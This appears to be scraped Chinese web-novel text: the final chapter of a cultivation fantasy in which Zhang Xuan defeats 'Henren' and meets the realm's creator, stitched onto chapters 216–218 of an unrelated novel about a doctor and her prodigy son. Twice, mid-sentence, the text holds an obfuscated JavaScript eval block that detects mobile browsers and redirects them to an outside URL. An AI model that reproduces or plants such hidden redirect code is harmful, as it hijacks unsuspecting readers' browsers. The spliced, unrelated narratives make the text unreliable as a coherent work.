看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第二百一十六章 初生牛犊不怕虎 林芷柔站在医馆门口,微风拂过她的衣袖,带来一丝清凉。她的目光始终追随着自家小儿子的身影,看着那个不过三四岁的小人儿。 阳光正好,洒在青石板路上,阳阳的小身影在地面上投下一道短短的影子。这画面看起来天真可爱,但林芷柔的心却提到了嗓子眼。 她下意识地攥紧了衣角,指节微微发白。作为一个母亲,她何尝不担心?可事已至此,她也只能选择相信自己的孩子。 街道两旁渐渐**起看热闹的人群。他们窃窃私语,不少人脸上带着看笑话的表情。 “这不是河东帮的季堂主吗?” “那孩子是谁家的?这么小就敢挑衅麻西浪?” “怕是活得不耐烦了。” 议论声此起彼伏,却丝毫没有影响到阳阳。小家伙一步一步走到麻西浪面前,仰起小脸,那双乌溜溜的大眼睛里闪烁着不符合年龄的睿智光芒。 “叔叔,我们打个赌好不好?”阳阳奶声奶气地说道,声音稚嫩得让人忍俊不禁。 麻西浪双手抱胸,居高临下地打量着这个还不到他大腿高的小豆丁,嘴角挂着轻蔑的笑意:“小屁孩,你想赌什么?” “如果我能让叔叔倒下,叔叔就要当着大家的面承认自己不要脸,好不好?” 这话一出,周围响起一片哄笑声。有人笑得前仰后合,有人则摇头叹息,显然都觉得这个小娃娃不自量力。 麻西浪也笑了,只是笑容中带着几分戾气:“好啊,那要是你输了呢?” 阳阳歪着小脑袋想了想:“那我就给叔叔磕三个响头。” “成交!”麻西浪几乎是迫不及待地答应下来。在他看来,这简直是天上掉馅饼的好事。 就在这时,阳阳突然伸出一根白嫩的小手指,轻轻点在麻西浪的腿上。这动作看起来就像是小孩子玩闹似的,甚至连麻西浪都没当回事。 然而下一秒,麻西浪的表情就变了。 一股难以形容的酥麻感从被点中的地方迅速蔓延开来,仿佛有千万只蚂蚁在他体内爬行。那感觉既痒且痛,让他浑身的肌肉都不受控制地抽搐起来。 “这...这是什么邪门功夫?”麻西浪惊恐地喊道,声音都变了调。 他想保持站立的姿势,可双腿却不听使唤,整个人“扑通”一声跪倒在地。周围顿时一片哗然,所有人都目瞪口呆地看着这一幕。 “叔叔,你输了哦。”阳阳笑眯眯地说道,声音依旧天真无邪。 麻西浪额头上冷汗直冒,他想开口说话,可浑身的酥麻感让他连舌头都不利索了:“小...小祖宗,我认输!快帮我解了这痒劲儿!” “那你要先承认自己不要脸。”阳阳认真地提醒道。 麻西浪的手下们面面相觑,不知该如何是好。他们这些人平日里仗着人多势众,欺负欺负普通百姓还行,真遇到高手就怂了。现在看到自家老大被一个奶娃娃制服,更是吓得大气都不敢出。 “我承认!我承认!”麻西浪终于崩溃地喊道,“我麻西浪就是个不要脸的混蛋!求求你快帮我解开!” 阳阳这才满意地点点头,又轻轻一点,解开了穴道。麻西浪顿时瘫软在地,大口喘着粗气,脸上的表情精彩纷呈。 这时,人群中走出一个须发皆白的老者。他的步伐稳健,眼神锐利,一看就知道是个练家子。 “小娃娃,让老夫也试试如何?”老者笑呵呵地说道,语气温和,但眼中却闪烁着探究的光芒。 林芷柔看到这一幕,心里“咯噔”一下。她认出这位老者正是武林中赫赫有名的“铁手判官”云洲玉。不过她并没有出声阻止,因为她知道,有些事情必须让孩子自己去面对。 阳阳仰头看着老者,露出一个天真的笑容:“好啊,老爷爷。不过这次我们换个玩法,我让您右手抬不起来,您看行吗?” “哈哈,有意思!”云洲玉大笑道,“来吧,让老夫见识见识。” 阳阳蹦蹦跳跳地来到老者面前,踮起脚尖,在他腰间轻轻一点。云洲玉立刻感觉到右臂一阵发麻,竟然真的抬不起来了! “妙哉!妙哉!”云洲玉连连赞叹,“好一个小神童!这点穴的功夫,就是老夫年轻时也比不上啊!” 围观的人群再次哗然。要知道,云洲玉可是山云上赫赫有名的高手,连他都对这个小娃娃如此推崇,可见这孩子的本事有多么不凡。 林芷柔看着这一幕,终于松了一口气。她知道,从今天开始,再也没有人敢小看她的孩子了。 不过,她心里还有一个疑问:阳阳这点穴的功夫,到底是从哪里学来的? 看着儿子那张天真无邪的小脸,林芷柔决定回家好好问个清楚。毕竟这样的本事,可不是一般人能教得出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944410|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 街道上的喧闹声渐渐平息,围观的人群三三两两散去。夕阳的余晖洒在青石板路上,拉长了行人的影子,空气中还弥漫着方才打斗时扬起的尘土气息。 “这孩子当真是个天才,连老爷子都说心服口服。”一位身着蓝色长衫的中年人摇着蒲扇,眼中闪烁着惊叹的光芒。 “可不是嘛,咱们帝都出了个神童啊!”旁边的茶摊老板搭腔道,一边收拾着被围观群众弄乱的桌椅,“刚才那一手,我看得是真真切切,这么小的娃娃,竟能把麻西浪打得毫无还手之力。” “嘘,小声点。”有人压低声音提醒,“麻西浪可是河东帮的人,这事传出去怕是不好。” 楚星澜听着这些议论,既为侄子骄傲又隐隐担忧。她快步上前,抓起阳阳的小手仔细端详,柔软的指腹轻轻摩挲着那双稚嫩的手掌,似乎想要看出这双手有什么特别之处。 “阳阳,你真是太厉害了!”她忍不住捏了捏侄子肉嘟嘟的小脸,“姑姑都不知道你什么时候学会这么厉害的功夫了。” 西七站在一旁,目光中带着惊异。他回想起方才的场景,麻西浪那般身手不凡的人物,竟被一个孩子三两下就制服了。林大夫的教导之法着实令人叹服,能把这么小的孩子教导得如此出色,实在是罕见。 然而阳阳却没有表现出丝毫喜悦,反而拉着楚星澜走到林芷柔身边,小脸垮了下来:“娘亲,对不起。”他低着头,小手紧张地揪着衣角。 楚星澜愣住了:“阳阳,你究竟为何要道歉呢?你明明表现得那么好,打败了麻西浪,还让那位老爷子都佩服不已。你是我们楚家的骄傲啊!” “姑姑,求你别说了。”阳阳拽着楚星澜的衣角,踮起脚尖小声哀求,眼中带着几分惶恐,“再这样夸下去,我真的会完蛋的。” 楚星澜一头雾水,下意识看向林芷柔。只见林芷柔面无表情地站在那里,浑身散发着一股生人勿近的气息。她那双漆黑的眸子里闪过一丝不悦,唇角微微下垂,显然对今天的事情十分不满。楚星澜顿时明白了什么,赶紧闭上嘴,和阳阳一起安静如鸡。 街边的茶摊上,几个食客还在小声议论着方才的事。有人说阳阳是天生神力,有人猜测是得了高人指点,更有人说这是楚家祖上积德。议论声传入林芷柔耳中,她眉头微皱,目光扫过那些说话的人,顿时让他们噤若寒蝉。 第二百一十七章 阳阳神力 林芷柔瞥了眼不远处还在大笑的老者,淡淡开口:“西七,备车回去。”语气中带着不容置疑的命令。 西七会意,把地上的马鞭捡起来,翻身上了车辕。马车的帘子被风掀起一角,露出里面精致的软垫。 “且慢!”老者见他们要走,立刻追了上来,长袖飘飘,仙风道骨,“小娃娃,我这老头子要收你为徒!青霞山终于找到传人了,哈哈哈!”他的笑声中带着难掩的欣喜。 林芷柔看向阳阳,语气冷淡:“你自己惹的麻烦,自己解决。” 阳阳苦着小脸,转身对老者道:“老爷爷,实在抱歉,我不想拜您为师傅。”他的声音软糯,带着几分歉意。 “不行!”老者一把拉住阳阳的衣袖,胡子都气得翘了起来,“老夫难得下山一趟,好不容易遇到这样的奇才,你得成为我的徒弟!不然我就赖着不走了!”说着,他还真就在路边盘腿坐了下来。 路过的行人纷纷驻足观望,有认出老者身份的,更是惊讶地议论起来。 “那不是青霞山的云**吗?” “听说他七十多年没收过徒弟了。” “这下有好戏看了。” 面对如此无赖的老者,阳阳一时不知如何是好,只能求助地看向母亲:“娘亲,我该怎么办?”小脸上写满了为难。 林芷柔虽然对老者的做法有些不满,但看他一副仙风道骨的模样,还是缓和了语气:“老先生,有什么事不如到家里详谈,在街上这样实在不妥。您既是青霞山的高人,想必也不愿失了风度吧?” 老者闻言,目光在林芷柔身上打量:“你是这孩子的母亲?”他绕着林芷柔转了一圈,眉头越皱越紧,“奇怪,老夫的眼睛莫非出了问题?” 楚星澜好奇地问:“老爷爷看出什么问题了吗?”她注意到老者的表情变得越发古怪。 林芷柔没有理会,径直带着阳阳上了马车。楚星澜见状也跟着上车,西七随即驾车往仁心医馆驶去。马蹄声在石板路上敲出清脆的节奏,车轮碾过地面的沙砾,发出细微的摩擦声。 老者一路追随,不停地掐指推算,嘴里念念有词。他看出林芷柔命格有异,明明该是个**,却活得好好的,更奇怪的是,他竟看不透她的魂魄来历。这在他七十多年的道行中还是头一遭。 街道两旁的店铺陆续点起了灯笼,暮色渐深,行人也少了许多。马车穿过几条街巷,终于来到了仁心医馆门前。医馆的匾额上“回春妙手”四个大字在灯光下熠熠生辉。 西七主动提出要送马车回楚家。看着林芷柔和阳阳的背影消失在医馆门口,他暗下决心要跟着林大夫学习那套**的功夫,不管她愿不愿意教,他都要以师徒之礼相待。 与此同时,河东帮总舵。 吕奋扬得知儿子被人围殴的消息后,立即召集手下前往河东帮找麻安算账。大堂内灯火通明,数十名帮众整齐列队,刀光剑影中透着肃杀之气。 “麻安,你侄子打伤我儿子的事,今晚必须给个说法!”吕奋扬拍案而起,震得案几上的茶盏都跳了起来。 麻安抹了把脸上的汗,苦笑道:“吕兄,这事说来惭愧。是我那不成器的侄子先去招惹人家,反倒被教训了一顿。” “教训?”吕奋扬冷笑,“你侄子麻西浪什么身手,谁不知道?能把他打成那样,对方是什么来头?” 麻安支支吾吾:“这个...是个孩子。” “孩子?”吕奋扬一愣,随即大怒,“你当我是三岁小孩好糊弄?” 就在这时,麻西浪垂头丧气地走了进来,身上还带着伤。看到这一幕的帮众们面面相觑,难以置信堂堂麻西浪会被一个孩子打败。 吕奋扬看着麻西浪的狼狈模样,心中的怒火更盛:“给我查,一定要查清楚那个林大夫的底细!敢在我河东帮的地盘上撒野,我倒要看看她有几分本事!” 夜色渐深,仁心医馆内。 林芷柔正在为阳阳检查身体,确认他没有受伤后,才稍稍放下心来。但想到今天的事情暴露了阳阳的能力,她心中仍然忧虑重重。 就在这时,外面传来一阵敲门声。楚星澜打开门,发现是那位执着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15953457|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的云**又来了。 “林大夫,老夫斗胆来访。”云**拱手行礼,“今日之事,老夫越想越觉蹊跷。这孩子的天赋异禀,若是不好好培养,实在可惜。” 林芷柔看了他一眼:“云**,您的好意我们心领了。但阳阳现在还小,不适合离家修行。” 云**摇头叹息:“林大夫,你可知道这孩子体内...” “我知道。”林芷柔打断他的话,“正因为知道,所以更要留在我身边。” 云**还想说什么,却被林芷柔的眼神制止了。那双眼睛里透出的坚定,让他明白再多说也是无用。 云**心中思绪万千。他总觉得这对母子身上藏着天大的秘密,而这个秘密,或许关系到整个修行界的未来。 林芷柔揉了揉太阳穴,诊室内的药香萦绕在鼻尖,却丝毫无法缓解她的头疼。眼前这个不知天高地厚的小家伙,正低着头,一副做错事的模样。 “阳阳,你知道自己错在哪里吗?”她语气平和,却带着不容置疑的严厉。 小家伙抬起头,眼眶红红的,像只受了委屈的小兔子。他抿着嘴,小手紧张地揪着衣角:“我...我不该乱用点穴手法。” “不仅如此。”林芷柔叹了口气,“你还在街上与人动手,这才是最大的错误。” 阳阳眼中闪过一丝倔强:“可是他们先欺负人的!...” “即便如此,也不该贸然出手。”林芷柔打断道,“你的功夫是用来保护自己和家人的,不是让你在街上惹是生非。” 一旁的云**捋着胡须笑道:“林大夫何必这般严厉?这孩子心地纯善,见不得不平事。况且他的武学天赋如此出众,正该...” “多谢**好意。”林芷柔不等他说完就开口打断,“但这孩子,还是留在我身边比较好。” 她太清楚山云中人的心思。阳阳的天赋确实出众,但正因如此,才更要严加管教。否则,这份天赋反而会成为他的祸根。 云**似乎还想说什么,门外却传来一阵急促的脚步声。 第二百一十八章 西七的选择 麻西浪跌跌撞撞地闯了进来,浑身是伤,衣衫破烂,狼狈不堪。他扶着门框,艰难地喘息着:“林大夫...救命...” 林芷柔瞥了他一眼。这位河东帮的二把手,平日里不可一世,如今却像条丧家之犬。 “坐吧。”她淡淡道。 麻西浪小心翼翼地挪到椅子上,目光却不住地在诊室内打量,似乎在寻找什么人。他时不时往药房张望,神色焦躁不安。 “找西七?”林芷柔一语道破,“他去抓药了。” 麻西浪讪讪一笑:“不...不是...” 林芷柔懒得理会他的心思,开始为他把脉。指尖传来的脉象紊乱,显然伤得不轻。 